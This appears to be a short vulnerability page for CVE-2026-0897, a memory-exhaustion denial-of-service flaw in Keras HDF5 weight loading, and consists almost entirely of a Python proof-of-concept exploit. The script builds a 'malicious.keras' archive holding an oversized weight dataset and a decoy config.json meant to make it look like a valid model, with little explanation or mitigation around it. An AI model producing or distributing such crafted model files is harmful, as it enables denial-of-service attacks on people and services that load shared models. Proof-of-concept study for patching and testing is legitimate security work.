CVE-2026-0897: Google Keras HDF5权重加载内存耗尽拒绝服务漏洞

import h5py import numpy as np import zipfile import os def create_malicious_keras(): """ Generate PoC for CVE-2026-0897 This creates a malicious .keras file with oversized HDF5 weight datasets """ # Create malicious weights.h5 with extremely large shape with h5py.File('weights.h5', 'w') as f: # Create dataset with extremely large shape (e.g., 999999999 x 999999999) # This will cause memory exhaustion when Keras tries to allocate large_shape = (999999999, 999999999) print(f"Creating dataset with shape: {large_shape}") try: # This may fail at creation but demonstrates the concept f.create_dataset('model_weights', shape=large_shape, dtype='float32') except Exception as e: print(f"Expected error during creation: {e}") # Alternative: Create a dataset that appears valid but has unbounded dimensions # Simulating what an attacker might do f.create_dataset('var1', data=np.random.rand(1000, 1000)) f.create_dataset('_shape', data=str(large_shape)) # Create .keras archive (which is a zip file) with zipfile.ZipFile('malicious.keras', 'w') as zf: zf.write('weights.h5', 'model.weights.h5') # Add config.json to make it look like a valid model config = '{"class_name": "Sequential", "config": []}' zf.writestr('config.json', config) print("Malicious .keras file created: malicious.keras") print("When loaded by Keras 3.x, this file can cause memory exhaustion") if __name__ == '__main__': create_malicious_keras()